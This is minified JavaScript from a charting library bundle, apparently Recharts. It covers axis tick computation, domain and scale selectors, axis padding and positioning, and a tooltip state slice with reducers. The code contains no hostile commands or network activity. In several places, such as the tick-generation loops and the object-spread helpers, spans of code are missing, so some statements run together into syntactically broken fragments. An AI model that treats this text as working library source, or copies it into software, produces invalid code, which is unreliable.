we(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new we(10).pow(t4(e)-1),i=new we(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new we(Math.floor(e)))}else e===0?i=new we(Math.floor((t-1)/2)):n||(i=new we(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new we(0),tickMin:new we(0),tickMax:new we(0)};var o=i4(new we(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new we(0):(l=new we(t).add(n).div(2),l=l.sub(new we(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new we(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?a4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new we(c).mul(o)),tickMax:l.add(new we(u).mul(o))})},MI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=r4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return TI(l,i,a);var{step:d,tickMin:f,tickMax:m}=a4(l,c,o,a,0),h=n4(f,m.add(new we(.1).mul(d)),d);return n>r?h.reverse():h},LI=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=r4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=i4(new we(l).sub(o).div(c-1),a,0),d=[...n4(new we(o),new we(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},II=e=>e.rootProps.barCategoryGap,Ko=e=>e.rootProps.stackOffset,s4=e=>e.rootProps.reverseStackOrder,i0=e=>e.options.chartName,a0=e=>e.rootProps.syncId,o4=e=>e.rootProps.syncMethod,s0=e=>e.options.eventEmitter,DI=e=>e.rootProps.baseValue,Rt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},mi={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},$n={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},Td=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function l4(e,t,n){if(n!=="auto")return n;if(e!=null)return Jn(e,t)?"category":"number"}function U1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function fu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},o0=L([FI,Vk],(e,t)=>{var n;if(e!=null)return e;var r=(n=l4(t,"angleAxis",V1.type))!==null&&n!==void 0?n:"category";return fu(fu({},V1),{},{type:r})}),WI=(e,t)=>e.polarAxis.radiusAxis[t],l0=L([WI,Vk],(e,t)=>{var n;if(e!=null)return e;var r=(n=l4(t,"radiusAxis",H1.type))!==null&&n!==void 0?n:"category";return fu(fu({},H1),{},{type:r})}),Md=e=>e.polarOptions,c0=L([Sr,zr,ft],oN),c4=L([Md,c0],(e,t)=>{if(e!=null)return Zt(e.innerRadius,t,0)}),u4=L([Md,c0],(e,t)=>{if(e!=null)return Zt(e.outerRadius,t,t*.8)}),UI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},d4=L([Md],UI);L([o0,d4],Td);var f4=L([c0,c4,u4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});L([l0,f4],Td);var p4=L([ze,Md,c4,u4,Sr,zr],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:Zt(o,i,i/2),cy:Zt(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),He=(e,t)=>t,qo=(e,t,n)=>n;function u0(e){return e==null?void 0:e.id}function m4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=u0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Le(f,a,null)),x=Le(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function d0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Ld=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Id(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function VI(e,t){if(e.length===t.length){for(var n=0;n{var t=ze(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ns=e=>e.tooltip.settings.axisId;function HI(e){if(e in Ms)return Ms[e]();var t="scale".concat(Io(e));if(t in Ms)return Ms[t]()}function K1(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function q1(e,t,n){if(typeof e=="function")return K1(e.copy().domain(t).range(n));if(e!=null){var r=HI(e);if(r!=null)return r.domain(t).range(n),K1(r)}}var h4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!br(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function Y1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function pu(e){for(var t=1;te.cartesianAxis.xAxis[t],Er=(e,t)=>{var n=GI(e,t);return n??x4},v4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:qm,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:$o},XI=(e,t)=>e.cartesianAxis.yAxis[t],Ar=(e,t)=>{var n=XI(e,t);return n??v4},ZI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},f0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??ZI},Ge=(e,t,n)=>{switch(t){case"xAxis":return Er(e,n);case"yAxis":return Ar(e,n);case"zAxis":return f0(e,n);case"angleAxis":return o0(e,n);case"radiusAxis":return l0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},QI=(e,t,n)=>{switch(t){case"xAxis":return Er(e,n);case"yAxis":return Ar(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},rs=(e,t,n)=>{switch(t){case"xAxis":return Er(e,n);case"yAxis":return Ar(e,n);case"angleAxis":return o0(e,n);case"radiusAxis":return l0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},g4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function p0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var y4=e=>e.graphicalItems.cartesianItems,JI=L([He,qo],p0),m0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),Yo=L([y4,Ge,JI],m0,{memoizeOptions:{resultEqualityCheck:Id}}),b4=L([Yo],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(d0)),w4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),e7=L([Yo],w4),h0=e=>e.map(t=>t.data).filter(Boolean).flat(1),t7=L([Yo],h0,{memoizeOptions:{resultEqualityCheck:Id}}),x0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},v0=L([t7,YN],x0),g0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Le(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Le(i,r)}))):e.map(r=>({value:r})),Dd=L([v0,Ge,Yo],g0);function j4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function tc(e){if(hr(e)||e instanceof Date){var t=Number(e);if(ye(t))return t}}function G1(e){if(Array.isArray(e)){var t=[tc(e[0]),tc(e[1])];return br(t)?t:void 0}var n=tc(e);if(n!=null)return[n,n]}function wr(e){return e.map(tc).filter(Un)}function n7(e,t,n){return!n||typeof t!="number"||Gn(t)?[]:n.length?wr(n.flatMap(r=>{var i=Le(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!ye(a)||!ye(o)))return[t-a,t+o]})):[]}var ot=e=>{var t=mt(e),n=ns(e);return rs(e,t,n)},Go=L([ot],e=>e==null?void 0:e.dataKey),r7=L([b4,YN,ot],m4),k4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(u0);return[l,{stackedData:F6(e,d,n),graphicalItems:u}]}))},N4=L([r7,b4,Ko,s4],k4),S4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=H6(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},i7=L([Ge],e=>e.allowDataOverflow),y0=e=>{var t;if(e==null||!("domain"in e))return qm;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=wr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:qm},b0=L([Ge],y0),w0=L([b0,i7],GN),a7=L([N4,Pr,He,w0],S4,{memoizeOptions:{resultEqualityCheck:Ld}}),Rd=e=>e.errorBars,s7=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>j4(n,r)),mu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>j4(i,v)),m=Le(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=n7(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=G1(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=G1(Le(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),ye(a)&&ye(o))return[a,o]},o7=L([v0,Ge,e7,Rd,He],j0,{memoizeOptions:{resultEqualityCheck:Ld}});function l7(e){var{value:t}=e;if(hr(t)||t instanceof Date)return t}var c7=(e,t,n)=>{var r=e.map(l7).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&S5(r))?mN(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},z4=e=>e.referenceElements.dots,is=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),u7=L([z4,He,qo],is),C4=e=>e.referenceElements.areas,d7=L([C4,He,qo],is),P4=e=>e.referenceElements.lines,f7=L([P4,He,qo],is),E4=(e,t)=>{if(e!=null){var n=wr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},p7=L(u7,He,E4),A4=(e,t)=>{if(e!=null){var n=wr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},m7=L([d7,He],A4);function h7(e){var t;if(e.x!=null)return wr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:wr(n)}function x7(e){var t;if(e.y!=null)return wr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:wr(n)}var _4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?h7(r):x7(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},v7=L([f7,He],_4),g7=L(p7,v7,m7,(e,t,n)=>mu(e,n,t)),k0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?mu(r,a,i):mu(a,i);return EI(t,u,e.allowDataOverflow)},y7=L([Ge,b0,w0,a7,o7,g7,ze,He],k0,{memoizeOptions:{resultEqualityCheck:Ld}}),b7=[0,1],N0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=Jn(t,a);if(u&&l==null){var d;return mN(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?c7(r,e,u):i==="expand"?b7:o}},S0=L([Ge,ze,v0,Dd,Ko,He,y7],N0);function w7(e){return e in Ms}var O4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Io(r));return w7(a)?a:"point"}}},fi=L([Ge,g4,i0],O4);function z0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?q1(e.scale,n,r):q1(t,n,r)}var C0=(e,t,n)=>{var r=y0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&br(e))return MI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&br(e))return LI(e,t.tickCount,t.allowDecimals)}},P0=L([S0,rs,fi],C0),E0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&br(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},j7=L([Ge,S0,P0,He],E0),k7=L(Dd,Ge,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(wr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!ye(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=Zt(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),N7=(e,t,n)=>{var r=Er(e,t);return r==null||typeof r.padding!="string"?0:T4(e,"xAxis",t,n,r.padding)},S7=(e,t,n)=>{var r=Ar(e,t);return r==null||typeof r.padding!="string"?0:T4(e,"yAxis",t,n,r.padding)},z7=L(Er,N7,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),C7=L(Ar,S7,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),P7=L([ft,z7,gd,vd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),E7=L([ft,ze,C7,gd,vd,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),Xo=(e,t,n,r)=>{var i;switch(t){case"xAxis":return P7(e,n,r);case"yAxis":return E7(e,n,r);case"zAxis":return(i=f0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return d4(e);case"radiusAxis":return f4(e,n);default:return}},M4=L([Ge,Xo],Td),A7=L([fi,j7],h4),$d=L([Ge,fi,A7,M4],z0);L([Yo,Rd,He],s7);function L4(e,t){return e.idt.id?1:0}var Bd=(e,t)=>t,Fd=(e,t,n)=>n,_7=L(hd,Bd,Fd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(L4)),O7=L(xd,Bd,Fd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(L4)),I4=(e,t)=>({width:e.width,height:t.height}),T7=(e,t)=>{var n=typeof t.width=="number"?t.width:$o;return{width:n,height:e.height}};L(ft,Er,I4);var M7=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},L7=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},I7=L(zr,ft,_7,Bd,Fd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=I4(t,l);o==null&&(o=M7(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),D7=L(Sr,ft,O7,Bd,Fd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=T7(t,l);o==null&&(o=L7(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),R7=(e,t)=>{var n=Er(e,t);if(n!=null)return I7(e,n.orientation,n.mirror)};L([ft,Er,R7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var $7=(e,t)=>{var n=Ar(e,t);if(n!=null)return D7(e,n.orientation,n.mirror)};L([ft,Ar,$7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});L(ft,Ar,(e,t)=>{var n=typeof t.width=="number"?t.width:$o;return{width:n,height:e.height}});var D4=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=Jn(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&S5(c))return c}},A0=L([ze,Dd,Ge,He],D4),R4=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=Jn(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},_0=L([ze,Dd,rs,He],R4);L([ze,QI,fi,$d,A0,_0,Xo,P0,He],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=Jn(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var B7=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=Jn(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?It(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return ye(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(Un):u&&l?l.map((y,v)=>{var b=r.map(y);return ye(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Un):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return ye(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Un):r.domain().map((y,v)=>{var b=r.map(y);return ye(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(Un)}};L([ze,rs,fi,$d,P0,Xo,A0,_0,He],B7);var F7=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=Jn(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?It(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return ye(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Un):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return ye(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Un):n.domain().map((d,f)=>{var m=n.map(d);return ye(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(Un)}},$4=L([ze,rs,$d,Xo,A0,_0,He],F7),B4=L(Ge,$d,(e,t)=>{if(!(e==null||t==null))return pu(pu({},e),{},{scale:t})}),W7=L([Ge,fi,S0,M4],z0);L((e,t,n)=>f0(e,n),W7,(e,t)=>{if(!(e==null||t==null))return pu(pu({},e),{},{scale:t})});var U7=L([ze,hd,xd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),F4=e=>e.options.defaultTooltipEventType,W4=e=>e.options.validateTooltipEventTypes;function U4(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function O0(e,t){var n=F4(e),r=W4(e);return U4(t,n,r)}function V7(e){return pe(t=>O0(t,e))}var V4=(e,t)=>{var n,r=Number(t);if(!(Gn(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},H7=e=>e.tooltip.settings,$r={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},K7={itemInteraction:{click:$r,hover:$r},axisInteraction:{click:$r,hover:$r},keyboardInteraction:$r,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},H4=Ut({name:"tooltip",initialState:K7,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:De()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:De()},removeTooltipEntrySettings:{reducer(e,t){var n=_n(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:De()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:q7,replaceTooltipEntrySettings:Y7,removeTooltipEntrySettings:G7,setTooltipSettingsState:X7,setActiveMouseOverItemIndex:K4,mouseLeaveItem:Z7,mouseLeaveChart:q4,setActiveClickItemIndex:Q7,setMouseOverAxisIndex:Y4,setMouseClickAxisIndex:J7,setSyncInteraction:Ym,setKeyboardInteraction:Gm}=H4.actions,eD=H4.reducer;function X1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Al(e){for(var t=1;t{if(t==null)return $r;var i=iD(e,t,n);if(i==null)return $r;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(aD(i)){if(a)return Al(Al({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Al(Al({},$r),{},{coordinate:i.coordinate})};function sD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function oD(e,t){var n=sD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function lD(e,t,n){if(n==null||t==null)return!0;var r=Le(e,t);return r==null||!br(n)?!0:oD(r,n)}var T0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!ye(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||lD(u,n,r)?String(c):null},X4=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},Z4=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},Q4=e=>e.options.tooltipPayloadSearcher,as=e=>e.tooltip;function Z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Q1(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=fD(g,l),b=Array.isArray(v)?Mk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 